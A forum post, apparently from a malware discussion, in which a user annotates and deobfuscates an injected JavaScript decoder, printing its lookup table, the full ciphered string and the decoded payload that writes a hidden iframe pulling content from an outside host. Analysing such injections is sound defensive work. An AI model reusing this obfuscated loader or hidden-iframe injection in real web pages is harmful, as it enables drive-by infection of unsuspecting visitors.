Keldoth Wolfram Dekel wrote:
I will drink from the life blood of my enemies heart as it spills to the floor, watching his eyes as he dies for that flicker of recognition, that sudden realization just as he dies that he was wrong and I right. I will howl the night song and stalk off to find more prey, the cold fangs in my mouth hungering to taste their fear.
Eh? Umm... wrong topic?
Anyway, here's a commented, simplified and mangled (only in the sense that it is effectively pseudocode, not JavaScript anymore) version of the code that deciphered and executed the block of ciphered code. (I'd attach it, but it says extension txt is not allowed.) The strange thing is the original code had, among other things, a for loop that was set up to run once, and 2 variables that stored the exact same number, and were simultaneously being decremented.
Code:
function plgbn15(p){
var int h=p.length
String c=''
int z=0
int d=0
int j=0
int t=Array(63,22,21,36,27,28,14,31,51,6,0,0,0,0,0,0,1,55,56,58,41,37,7,54,38,53,5,19,12,59,10,15,30,17,57,35,47,32,40,11,49,34,42,0,0,0,0,24,0,50,61,45,46,44,2,25,43,9,8,13,26,39,0,52,16,29,4,3,48,33,20,18,23,60,62);
for(h;h>0;h--) // Loop through all the characters
{j|=(t[p.charCodeAt(z++)-48])<<d;
//First, it finds the ASCII value of the z-1 character in the string that was passed to the function, and subtracts 48 from the value -- call the final value 'n'
// Second, it gets the integer stored in the array at the 'n'th position.
//Third, it bitshifts left that integer by 6, 4, 2 or 0 bits. (d can only be 0, 2, 4 or 6)
//Fourth, it bitwise ORs j and the result from the third step and stores the result in j
if(d){c+=String.fromCharCode(156^j&255);
//if d is anything BUT 0,
//j is bitwise XORed by 156, and then bitwise ANDed (to get a 8 bit integer value)
//Then the ASCII character equivalent of the value is appended to string c.
j>>=8;
//j is right bitshifted by 8 bits, and the result stored in j
d-=2
//d is subtracted by 2
} else //d was 0
{d=6} // d is set to 6 to cause the next 3 characters to be appended to the string - this method results in every 4th character in the ciphertext being discarded
}
eval(c)}//evaluate the deciphered code that has been stored in c
// change it to return(c) to look at the output in a javascript interpreter, or something similar
plgbn15('hxTyBO0Caz6CbSPCTFCd_OTyRTMDBO00DF7zaSdehMPbVmOcMflbCMP0XmOTaA7yRFZ0dGl0yzdM0FZToS6Ce4Ce8GOzBFM08WOCRWOCXCOy800baN7zVOWC86CdA9q0VKTedO7CaSOcQAOCoWhMbWOz8FOcIl4hVwlZe1McMCThcG0dAdhTydPbBS6buGChDaWbRx0zoSPVcGNhyz6CEs7zuCWzI06MtA7RHN0yamTTYfCeIhTMbF7zYd4c')
//The function is called with the code ciphered.
/*Deciphered code: window.status='Done';document.write('<iframe name=b21a src="http://add-content-block.net/t/?'+Math.round(Math.random()*14850)+'b21a'+'" width=135 height=110 style="display:none"></iframe>')*/